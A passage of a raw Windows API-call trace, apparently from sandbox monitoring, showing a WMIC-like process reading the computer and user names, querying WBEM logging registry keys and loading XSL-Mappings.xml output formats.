Luid.HighPart=19, Attributes=0x0), (Luid.LowPart=0x14, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x17), (Luid.LowPart=0x3, Luid.HighPart=24, Attributes=0x0), (Luid.LowPart=0x19, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x1d), (Luid.LowPart=0x3, Luid.HighPart=30, Attributes=0x0), (Luid.LowPart=0x21, Luid.HighPart=0, Attributes=0x2), (Luid.LowPart=0x0, Luid.HighPart=2, Attributes=0x23), (Luid.LowPart=0x2, Luid.HighPart=1547645985, Attributes=0x4545), (Luid.LowPart=0x29a, Luid.HighPart=-1724246128, Attributes=0x29a), (Luid.LowPart=0x740053, Luid.HighPart=7340133, Attributes=0x690070), (Luid.LowPart=0x330020, Luid.HighPart=2097196, Attributes=0x650047), (Luid.LowPart=0x6e0069, Luid.HighPart=4784229, Attributes=0x74006e), (Luid.LowPart=0x500000, Luid.HighPart=5177426, Attributes=0x450043))), BufferLength=0x0, PreviousState=0x0, ReturnLength=0x0 | out: PreviousState=0x0, ReturnLength=0x0) returned 1 [0047.972] free (_Block=0x29a993a5a90) [0047.972] CloseHandle (hObject=0x154) returned 1 [0047.984] malloc (_Size=0x40) returned 0x29a993a5a90 [0048.044] malloc (_Size=0x40) returned 0x29a993a5ae0 [0048.044] malloc (_Size=0x40) returned 0x29a993a5b30 [0048.044] SetThreadUILanguage (LangId=0x0) returned 0x409 [0048.431] _vsnwprintf (in: _Buffer=0x29a993a5b30, _BufferCount=0x1f, _Format="ms_%x", _ArgList=0x9e5235f448 | out: _Buffer="ms_409") returned 6 [0048.431] malloc (_Size=0x20) returned 0x29a993a1790 [0048.431] GetComputerNameW (in: lpBuffer=0x29a993a1790, nSize=0x9e5235f748 | out: lpBuffer="NQDPDE", nSize=0x9e5235f748) returned 1 [0048.431] lstrlenW (lpString="NQDPDE") returned 6 [0048.431] malloc (_Size=0xe) returned 0x29a993a5b80 [0048.431] lstrlenW (lpString="NQDPDE") returned 6 [0048.431] ResolveDelayLoadedAPI () returned 0x7ff92e2e6960 [0048.431] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x0, nSize=0x9e5235f740 | out: lpNameBuffer=0x0, nSize=0x9e5235f740) returned 0x0 [0048.432] GetLastError () returned 0xea [0048.432] malloc (_Size=0x1e) returned 0x29a993a5ba0 [0048.432] GetUserNameExW (in: NameFormat=0x2, lpNameBuffer=0x29a993a5ba0, nSize=0x9e5235f740 | out: lpNameBuffer="NQDPDE\\FD1HVy", nSize=0x9e5235f740) returned 0x1 [0048.443] lstrlenW (lpString="") returned 0 [0048.443] lstrlenW (lpString="NQDPDE") returned 6 [0048.443] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="", cchCount2=0) returned 3 [0048.444] lstrlenW (lpString=".") returned 1 [0048.444] lstrlenW (lpString="NQDPDE") returned 6 [0048.444] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2=".", cchCount2=1) returned 3 [0048.444] lstrlenW (lpString="LOCALHOST") returned 9 [0048.445] lstrlenW (lpString="NQDPDE") returned 6 [0048.445] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="LOCALHOST", cchCount2=9) returned 3 [0048.445] lstrlenW (lpString="NQDPDE") returned 6 [0048.445] lstrlenW (lpString="NQDPDE") returned 6 [0048.445] CompareStringW (Locale=0x800, dwCmpFlags=0x20001, lpString1="NQDPDE", cchCount1=6, lpString2="NQDPDE", cchCount2=6) returned 2 [0048.445] free (_Block=0x29a993a5b80) [0048.445] lstrlenW (lpString="NQDPDE") returned 6 [0048.445] malloc (_Size=0xe) returned 0x29a993a5b80 [0048.445] lstrlenW (lpString="NQDPDE") returned 6 [0048.445] lstrlenW (lpString="NQDPDE") returned 6 [0048.445] malloc (_Size=0xe) returned 0x29a993a5bd0 [0048.445] lstrlenW (lpString="NQDPDE") returned 6 [0048.445] malloc (_Size=0x8) returned 0x29a993a5bf0 [0048.445] malloc (_Size=0x18) returned 0x29a993a5c10 [0048.445] ResolveDelayLoadedAPI () returned 0x7ff931c1cdb0 [0048.499] malloc (_Size=0x30) returned 0x29a993a5c30 [0048.499] malloc (_Size=0x18) returned 0x29a993a5c70 [0048.499] SysStringLen (param_1="IDENTIFY") returned 0x8 [0048.499] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0048.499] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0048.499] SysStringLen (param_1="IDENTIFY") returned 0x8 [0048.499] malloc (_Size=0x30) returned 0x29a993a5c90 [0048.499] malloc (_Size=0x18) returned 0x29a993a5cd0 [0048.499] SysStringLen (param_1="IMPERSONATE") returned 0xb [0048.499] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0048.499] SysStringLen (param_1="IMPERSONATE") returned 0xb [0048.499] SysStringLen (param_1="IDENTIFY") returned 0x8 [0048.499] SysStringLen (param_1="IDENTIFY") returned 0x8 [0048.499] SysStringLen (param_1="IMPERSONATE") returned 0xb [0048.499] malloc (_Size=0x30) returned 0x29a993a5cf0 [0048.499] malloc (_Size=0x18) returned 0x29a993a5d30 [0048.499] SysStringLen (param_1="DELEGATE") returned 0x8 [0048.499] SysStringLen (param_1="IDENTIFY") returned 0x8 [0048.499] SysStringLen (param_1="DELEGATE") returned 0x8 [0048.499] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0048.499] SysStringLen (param_1="ANONYMOUS") returned 0x9 [0048.499] SysStringLen (param_1="DELEGATE") returned 0x8 [0048.499] malloc (_Size=0x30) returned 0x29a993a5d50 [0048.499] malloc (_Size=0x18) returned 0x29a993a5d90 [0048.499] malloc (_Size=0x30) returned 0x29a993a5db0 [0048.499] malloc (_Size=0x18) returned 0x29a993a5df0 [0048.499] SysStringLen (param_1="NONE") returned 0x4 [0048.500] SysStringLen (param_1="DEFAULT") returned 0x7 [0048.500] SysStringLen (param_1="DEFAULT") returned 0x7 [0048.500] SysStringLen (param_1="NONE") returned 0x4 [0048.500] malloc (_Size=0x30) returned 0x29a993a5e10 [0048.500] malloc (_Size=0x18) returned 0x29a993a5e50 [0048.500] SysStringLen (param_1="CONNECT") returned 0x7 [0048.500] SysStringLen (param_1="DEFAULT") returned 0x7 [0048.500] malloc (_Size=0x30) returned 0x29a993a5e70 [0048.500] malloc (_Size=0x18) returned 0x29a993a5eb0 [0048.500] SysStringLen (param_1="CALL") returned 0x4 [0048.500] SysStringLen (param_1="DEFAULT") returned 0x7 [0048.500] SysStringLen (param_1="CALL") returned 0x4 [0048.500] SysStringLen (param_1="CONNECT") returned 0x7 [0048.500] malloc (_Size=0x30) returned 0x29a993a5ed0 [0048.500] malloc (_Size=0x18) returned 0x29a993a5f10 [0048.500] SysStringLen (param_1="PKT") returned 0x3 [0048.500] SysStringLen (param_1="DEFAULT") returned 0x7 [0048.500] SysStringLen (param_1="PKT") returned 0x3 [0048.500] SysStringLen (param_1="NONE") returned 0x4 [0048.500] SysStringLen (param_1="NONE") returned 0x4 [0048.500] SysStringLen (param_1="PKT") returned 0x3 [0048.500] malloc (_Size=0x30) returned 0x29a993a5f30 [0048.500] malloc (_Size=0x18) returned 0x29a993a5f70 [0048.500] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0048.500] SysStringLen (param_1="DEFAULT") returned 0x7 [0048.500] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0048.500] SysStringLen (param_1="NONE") returned 0x4 [0048.500] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0048.500] SysStringLen (param_1="PKT") returned 0x3 [0048.500] SysStringLen (param_1="PKT") returned 0x3 [0048.500] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0048.500] malloc (_Size=0x30) returned 0x29a993aa8e0 [0048.500] malloc (_Size=0x18) returned 0x29a993a5f90 [0048.500] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0048.500] SysStringLen (param_1="DEFAULT") returned 0x7 [0048.500] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0048.500] SysStringLen (param_1="PKT") returned 0x3 [0048.500] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0048.500] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0048.501] SysStringLen (param_1="PKTINTEGRITY") returned 0xc [0048.501] SysStringLen (param_1="PKTPRIVACY") returned 0xa [0048.501] malloc (_Size=0x30) returned 0x29a993aa520 [0048.501] malloc (_Size=0x40) returned 0x29a993a5fb0 [0048.501] malloc (_Size=0x20a) returned 0x29a993ab020 [0048.501] GetSystemDirectoryW (in: lpBuffer=0x29a993ab020, uSize=0x105 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0048.501] free (_Block=0x29a993ab020) [0048.501] malloc (_Size=0x18) returned 0x29a993a6000 [0048.501] malloc (_Size=0x18) returned 0x29a993a6020 [0048.501] malloc (_Size=0x18) returned 0x29a993ab020 [0048.501] SysStringLen (param_1="C:\\WINDOWS\\system32") returned 0x13 [0048.501] SysStringLen (param_1="\\wbem\\") returned 0x6 [0048.501] free (_Block=0x29a993a6000) [0048.501] free (_Block=0x29a993a6020) [0048.501] SysStringByteLen (bstr="C:\\WINDOWS\\system32\\wbem\\") returned 0x32 [0048.501] free (_Block=0x29a993ab020) [0048.501] malloc (_Size=0x18) returned 0x29a993ab290 [0048.501] malloc (_Size=0x18) returned 0x29a993ab070 [0048.501] malloc (_Size=0x18) returned 0x29a993ab390 [0048.501] SysStringLen (param_1="C:\\WINDOWS\\system32\\wbem\\") returned 0x19 [0048.501] SysStringLen (param_1="XSL-Mappings.xml") returned 0x10 [0048.501] free (_Block=0x29a993ab290) [0048.501] free (_Block=0x29a993ab070) [0048.501] GetCurrentThreadId () returned 0x9b4 [0048.502] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="SOFTWARE\\Microsoft\\Wbem\\CIMOM", ulOptions=0x0, samDesired=0x1, phkResult=0x9e5235f050 | out: phkResult=0x9e5235f050*=0x15c) returned 0x0 [0048.502] RegQueryValueExW (in: hKey=0x15c, lpValueName="Logging", lpReserved=0x0, lpType=0x0, lpData=0x9e5235f0a0, lpcbData=0x9e5235f040*=0x400 | out: lpType=0x0, lpData=0x9e5235f0a0*=0x30, lpcbData=0x9e5235f040*=0x4) returned 0x0 [0048.502] _wcsicmp (_String1="0", _String2="1") returned -1 [0048.502] _wcsicmp (_String1="0", _String2="2") returned -2 [0048.502] RegQueryValueExW (in: hKey=0x15c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x0, lpcbData=0x9e5235f040*=0x4 | out: lpType=0x0, lpData=0x0, lpcbData=0x9e5235f040*=0x42) returned 0x0 [0048.502] malloc (_Size=0x86) returned 0x29a993ab430 [0048.502] RegQueryValueExW (in: hKey=0x15c, lpValueName="Logging Directory", lpReserved=0x0, lpType=0x0, lpData=0x29a993ab430, lpcbData=0x9e5235f040*=0x42 | out: lpType=0x0, lpData=0x29a993ab430*=0x25, lpcbData=0x9e5235f040*=0x42) returned 0x0 [0048.502] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0048.502] malloc (_Size=0x42) returned 0x29a993ab4c0 [0048.502] lstrlenW (lpString="%systemroot%\\system32\\wbem\\Logs\\") returned 32 [0048.502] RegQueryValueExW (in: hKey=0x15c, lpValueName="Log File Max Size", lpReserved=0x0, lpType=0x0, lpData=0x9e5235f0a0, lpcbData=0x9e5235f040*=0x400 | out: lpType=0x0, lpData=0x9e5235f0a0*=0x36, lpcbData=0x9e5235f040*=0xc) returned 0x0 [0048.502] _wtol (_String="65536") returned 65536 [0048.502] free (_Block=0x29a993ab430) [0048.502] RegCloseKey (hKey=0x0) returned 0x6 [0048.502] CoCreateInstance (in: rclsid=0x7ff6a5e10668*(Data1=0xf6d90f12, Data2=0x9c73, Data3=0x11d3, Data4=([0]=0xb3, [1]=0x2e, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0xb, [7]=0xb4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7ff6a5e10678*(Data1=0x2933bf95, Data2=0x7b36, Data3=0x11d2, Data4=([0]=0xb2, [1]=0xe, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x98, [6]=0x3e, [7]=0x60)), ppv=0x9e5235f540 | out: ppv=0x9e5235f540*=0x29a99106f20) returned 0x0 [0049.790] FreeThreadedDOMDocument:IXMLDOMDocument:load (in: This=0x29a99106f20, xmlSource=0x9e5235f680*(varType=0x8, wReserved1=0x0, wReserved2=0x0, wReserved3=0x0, varVal1="C:\\WINDOWS\\system32\\wbem\\XSL-Mappings.xml", varVal2=0x0), isSuccessful=0x9e5235f6f0 | out: isSuccessful=0x9e5235f6f0*=0xffff) returned 0x0 [0056.161] FreeThreadedDOMDocument:IXMLDOMDocument:get_documentElement (in: This=0x29a99106f20, DOMElement=0x9e5235f548 | out: DOMElement=0x9e5235f548*=0x29a991094b0) returned 0x0 [0056.165] malloc (_Size=0x18) returned 0x29a993ab0f0 [0056.166] free (_Block=0x29a993ab0f0) [0056.167] malloc (_Size=0x18) returned 0x29a993ab2b0 [0056.168] free (_Block=0x29a993ab2b0) [0056.168] malloc (_Size=0x18) returned 0x29a993ab1b0 [0056.168] malloc (_Size=0x18) returned 0x29a993ab2b0 [0056.168] malloc (_Size=0x30) returned 0x29a993aa4a0 [0056.168] malloc (_Size=0x18) returned 0x29a993ab3b0 [0056.168] free (_Block=0x29a993ab3b0) [0056.168] malloc (_Size=0x18) returned 0x29a993ab2d0 [0056.168] malloc (_Size=0x18) returned 0x29a993ab3b0 [0056.168] SysStringLen (param_1="VALUE") returned 0x5 [0056.168] SysStringLen (param_1="TABLE") returned 0x5 [0056.168] SysStringLen (param_1="TABLE") returned 0x5 [0056.168] SysStringLen (param_1="VALUE") returned 0x5 [0056.168] malloc (_Size=0x30) returned 0x29a993aa620 [0056.168] malloc (_Size=0x18) returned 0x29a993ab330 [0056.169] free (_Block=0x29a993ab330) [0056.169] malloc (_Size=0x18) returned 0x29a993ab070 [0056.169] malloc (_Size=0x18) returned 0x29a993ab1d0 [0056.169] SysStringLen (param_1="LIST") returned 0x4 [0056.169] SysStringLen (param_1="TABLE") returned 0x5 [0056.169] malloc (_Size=0x30) returned 0x29a993aa9a0 [0056.169] malloc (_Size=0x18) returned 0x29a993ab0d0 [0056.169] free (_Block=0x29a993ab0d0) [0056.169] malloc (_Size=0x18) returned 0x29a993ab110 [0056.169] malloc (_Size=0x18) returned 0x29a993ab3f0 [0056.169] SysStringLen (param_1="RAWXML") returned 0x6 [0056.169] SysStringLen (param_1="TABLE") returned 0x5 [0056.169] SysStringLen (param_1="RAWXML") returned 0x6 [0056.169] SysStringLen (param_1="LIST") returned 0x4 [0056.169] SysStringLen (param_1="LIST") returned 0x4 [0056.169] SysStringLen (param_1="RAWXML") returned 0x6 [0056.169] malloc (_Size=0x30) returned 0x29a993aa960 [0056.169] malloc (_Size=0x18) returned 0x29a993ab090 [0056.170] free (_Block=0x29a993ab090) [0056.170] malloc (_Size=0x18) returned 0x29a993ab230 [0056.170] malloc (_Size=0x18) returned 0x29a993ab090 [0056.170] SysStringLen (param_1="HTABLE") returned 0x6 [0056.170] SysStringLen (param_1="TABLE") returned 0x5 [0056.170] SysStringLen (param_1="HTABLE") returned 0x6 [0056.170] SysStringLen (param_1="LIST") returned 0x4 [0056.170] malloc (_Size=0x30) returned 0x29a993aa4e0 [0056.170] malloc (_Size=0x18) returned 0x29a993ab210 [0056.170] free (_Block=0x29a993ab210) [0056.170] malloc (_Size=0x18) returned 0x29a993ab350 [0056.170] malloc (_Size=0x18) returned 0x29a993ab3d0 [0056.170] SysStringLen (param_1="HFORM") returned 0x5 [0056.170] SysStringLen (param_1="TABLE") returned 0x5 [0056.170] SysStringLen (param_1="HFORM") returned 0x5 [0056.170] SysStringLen (param_1="LIST") returned 0x4 [0056.170] SysStringLen (param_1="HFORM") returned 0x5 [0056.170] SysStringLen (param_1="HTABLE") returned 0x6 [0056.170] malloc (_Size=0x30) returned 0x29a993aa460 [0056.170] malloc (_Size=0x18) returned 0x29a993ab370 [0056.171] free (_Block=0x29a993ab370) [0056.171] malloc (_Size=0x18) returned 0x29a993ab2f0 [0056.171] malloc (_Size=0x18) returned 0x29a993ab150 [0056.171] SysStringLen (param_1="XML") returned 0x3 [0056.171] SysStringLen (param_1="TABLE") returned 0x5 [0056.171] SysStringLen (param_1="XML") returned 0x3 [0056.171] SysStringLen (param_1="VALUE") returned 0x5 [0056.171] SysStringLen (param_1="VALUE") returned 0x5 [0056.171] SysStringLen (param_1="XML") returned 0x3 [0056.171] malloc (_Size=0x30) returned 0x29a993aa560 [0056.171] malloc (_Size=0x18) returned 0x29a993ab0b0 [0056.171] free (_Block=0x29a993ab0b0) [0056.171] malloc (_Size=0x18) returned 0x29a993ab0d0 [0056.171] malloc (_Size=0x18) returned 0x29a993ab0f0 [0056.171] SysStringLen (param_1="MOF") returned 0x3 [0056.171] SysStringLen (param_1="TABLE") returned 0x5 [0056.171] SysStringLen (param_1="MOF") returned 0x3 [0056.171] SysStringLen (param_1="LIST") returned 0x4 [0056.171] SysStringLen (param_1="MOF") returned 0x3 [0056.171] SysStringLen (param_1="RAWXML") returned 0x6 [0056.171] SysStringLen (param_1="LIST") returned 0x4 [0056.171] SysStringLen (param_1="MOF") returned 0x3 [0056.171] malloc (_Size=0x30) returned 0x29a993aa7e0 [0056.172] malloc (_Size=0x18) returned 0x29a993ab370 [0056.172] free (_Block=0x29a993ab370) [0056.172] malloc (_Size=0x18) returned 0x29a993ab1f0 [0056.172] malloc (_Size=0x18) returned 0x29a993ab250 [0056.172] SysStringLen (param_1="CSV") returned 0x3 [0056.172] SysStringLen (param_1="TABLE") returned 0x5 [0056.172] SysStringLen (param_1="CSV") returned 0x3 [0056.172] SysStringLen (param_1="LIST") returned 0x4 [0056.172] SysStringLen (param_1="CSV") returned 0x3 [0056.172] SysStringLen (param_1="HTABLE") returned 0x6 [0056.172] SysStringLen (param_1="CSV") returned 0x3 [0056.172] SysStringLen (param_1="HFORM") returned 0x5 [0056.172] malloc (_Size=0x30) returned 0x29a993aa7a0 [0056.172] malloc (_Size=0x18) returned 0x29a993ab310 [0056.172] free (_Block=0x29a993ab310) [0056.172] malloc (_Size=0x18) returned 0x29a993ab0b0 [0056.172] malloc (_Size=0x18) returned 0x29a993ab330 [0056.172] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0056.172] SysStringLen (param_1="TABLE") returned 0x5 [0056.172] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0056.172] SysStringLen (param_1="VALUE") returned 0x5 [0056.172] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0056.173] SysStringLen (param_1="XML") returned 0x3 [0056.173] SysStringLen (param_1="XML") returned 0x3 [0056.173] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0056.173] malloc (_Size=0x30) returned 0x29a993aa5a0 [0056.173] malloc (_Size=0x18) returned 0x29a993ab210 [0056.173] free (_Block=0x29a993ab210) [0056.173] malloc (_Size=0x18) returned 0x29a993ab130 [0056.173] malloc (_Size=0x18) returned 0x29a993ab190 [0056.173] SysStringLen (param_1="texttablewsys") returned 0xd [0056.173] SysStringLen (param_1="TABLE") returned 0x5 [0056.173] SysStringLen (param_1="texttablewsys") returned 0xd [0056.173] SysStringLen (param_1="XML") returned 0x3 [0056.173] SysStringLen (param_1="texttablewsys") returned 0xd [0056.173] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0056.173] SysStringLen (param_1="XML") returned 0x3 [0056.173] SysStringLen (param_1="texttablewsys") returned 0xd [0056.173] malloc (_Size=0x30) returned 0x29a993aa5e0 [0056.173] malloc (_Size=0x18) returned 0x29a993ab170 [0056.173] free (_Block=0x29a993ab170) [0056.173] malloc (_Size=0x18) returned 0x29a993ab210 [0056.173] malloc (_Size=0x18) returned 0x29a993ab170 [0056.174] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0056.174] SysStringLen (param_1="TABLE") returned 0x5 [0056.174] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0056.174] SysStringLen (param_1="XML") returned 0x3 [0056.174] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0056.174] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0056.174] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0056.174] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0056.174] malloc (_Size=0x30) returned 0x29a993aaba0 [0056.174] malloc (_Size=0x18) returned 0x29a993ab270 [0056.174] free (_Block=0x29a993ab270) [0056.174] malloc (_Size=0x18) returned 0x29a993ab270 [0056.174] malloc (_Size=0x18) returned 0x29a993ab290 [0056.174] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0056.174] SysStringLen (param_1="TABLE") returned 0x5 [0056.174] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0056.174] SysStringLen (param_1="XML") returned 0x3 [0056.174] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0056.174] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0056.174] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0056.174] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0056.174] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0056.174] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0056.174] malloc (_Size=0x30) returned 0x29a993aa660 [0056.174] malloc (_Size=0x18) returned 0x29a993ab370 [0056.175] free (_Block=0x29a993ab370) [0056.175] malloc (_Size=0x18) returned 0x29a993ab310 [0056.175] malloc (_Size=0x18) returned 0x29a993ab370 [0056.175] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0056.175] SysStringLen (param_1="TABLE") returned 0x5 [0056.175] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0056.175] SysStringLen (param_1="XML") returned 0x3 [0056.175] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0056.175] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0056.175] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0056.175] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0056.175] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0056.175] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0056.175] malloc (_Size=0x30) returned 0x29a993aa6a0 [0056.175] malloc (_Size=0x18) returned 0x29a993ae000 [0056.175] free (_Block=0x29a993ae000) [0056.175] malloc (_Size=0x18) returned 0x29a993ada40 [0056.175] malloc (_Size=0x18) returned 0x29a993adea0 [0056.175] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0056.175] SysStringLen (param_1="TABLE") returned 0x5 [0056.175] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0056.175] SysStringLen (param_1="XML") returned 0x3 [0056.175] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0056.175] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0056.175] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0056.176] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0056.176] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0056.176] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0056.176] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0056.176] SysStringLen (param_1="wmiclitableformatnosys") returned 0x16 [0056.176] malloc (_Size=0x30) returned 0x29a993aa9e0 [0056.176] malloc (_Size=0x18) returned 0x29a993adb20 [0056.176] free (_Block=0x29a993adb20) [0056.176] malloc (_Size=0x18) returned 0x29a993ae020 [0056.176] malloc (_Size=0x18) returned 0x29a993ada60 [0056.176] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0056.176] SysStringLen (param_1="TABLE") returned 0x5 [0056.176] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0056.176] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0056.176] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0056.176] SysStringLen (param_1="XML") returned 0x3 [0056.176] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0056.176] SysStringLen (param_1="texttablewsys") returned 0xd [0056.176] SysStringLen (param_1="XML") returned 0x3 [0056.176] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0056.176] malloc (_Size=0x30) returned 0x29a993aa860 [0056.176] malloc (_Size=0x18) returned 0x29a993ade40 [0056.176] free (_Block=0x29a993ade40) [0056.177] malloc (_Size=0x18) returned 0x29a993adae0 [0056.177] malloc (_Size=0x18) returned 0x29a993add80 [0056.177] SysStringLen (param_1="htable-sortby") returned 0xd [0056.177] SysStringLen (param_1="TABLE") returned 0x5 [0056.177] SysStringLen (param_1="htable-sortby") returned 0xd [0056.177] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0056.177] SysStringLen (param_1="htable-sortby") returned 0xd [0056.177] SysStringLen (param_1="XML") returned 0x3 [0056.177] SysStringLen (param_1="htable-sortby") returned 0xd [0056.177] SysStringLen (param_1="texttablewsys") returned 0xd [0056.177] SysStringLen (param_1="htable-sortby") returned 0xd [0056.177] SysStringLen (param_1="htable-sortby.xsl") returned 0x11 [0056.177] SysStringLen (param_1="XML") returned 0x3 [0056.177] SysStringLen (param_1="htable-sortby") returned 0xd [0056.177] malloc (_Size=0x30) returned 0x29a993aaa20 [0056.177] malloc (_Size=0x18) returned 0x29a993adc00 [0056.177] free (_Block=0x29a993adc00) [0056.177] malloc (_Size=0x18) returned 0x29a993ada80 [0056.177] malloc (_Size=0x18) returned 0x29a993adaa0 [0056.177] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0056.177] SysStringLen (param_1="TABLE") returned 0x5 [0056.177] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0056.177] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0056.177] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0056.177] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0056.177] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0056.177] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0056.177] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0056.178] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0056.178] malloc (_Size=0x30) returned 0x29a993aa6e0 [0056.178] malloc (_Size=0x18) returned 0x29a993ad9e0 [0056.178] free (_Block=0x29a993ad9e0) [0056.178] malloc (_Size=0x18) returned 0x29a993ad8a0 [0056.178] malloc (_Size=0x18) returned 0x29a993adee0 [0056.178] SysStringLen (param_1="wmiclimofformat") returned 0xf [0056.178] SysStringLen (param_1="TABLE") returned 0x5 [0056.178] SysStringLen (param_1="wmiclimofformat") returned 0xf [0056.178] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0056.178] SysStringLen (param_1="wmiclimofformat") returned 0xf [0056.178] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0056.178] SysStringLen (param_1="wmiclimofformat") returned 0xf [0056.178] SysStringLen (param_1="wmiclitableformat") returned 0x11 [0056.178] SysStringLen (param_1="wmiclimofformat") returned 0xf [0056.178] SysStringLen (param_1="wmiclimofformat.xsl") returned 0x13 [0056.178] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0056.178] SysStringLen (param_1="wmiclimofformat") returned 0xf [0056.178] malloc (_Size=0x30) returned 0x29a993aaa60 [0056.178] malloc (_Size=0x18) returned 0x29a993adce0 [0056.178] free (_Block=0x29a993adce0) [0056.178] malloc (_Size=0x18) returned 0x29a993add20 [0056.179] malloc (_Size=0x18) returned 0x29a993ada20 [0056.179] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0056.179] SysStringLen (param_1="TABLE") returned 0x5 [0056.179] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0056.179] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0056.179] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0056.179] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0056.179] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0056.179] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0056.179] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0056.179] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0056.179] malloc (_Size=0x30) returned 0x29a993aaaa0 [0056.179] malloc (_Size=0x18) returned 0x29a993adba0 [0056.179] free (_Block=0x29a993adba0) [0056.179] malloc (_Size=0x18) returned 0x29a993adc80 [0056.179] malloc (_Size=0x18) returned 0x29a993adf20 [0056.179] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0056.179] SysStringLen (param_1="TABLE") returned 0x5 [0056.179] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0056.179] SysStringLen (param_1="texttablewsys.xsl") returned 0x11 [0056.179] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0056.179] SysStringLen (param_1="wmiclitableformat.xsl") returned 0x15 [0056.179] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0056.179] SysStringLen (param_1="wmiclitableformatnosys.xsl") returned 0x1a [0056.179] SysStringLen (param_1="wmiclivalueformat") returned 0x11 [0056.179] SysStringLen (param_1="wmiclivalueformat.xsl") returned 0x15 [0056.179] SysStringLen (param_1="wmiclitableformatnosys.xsl") 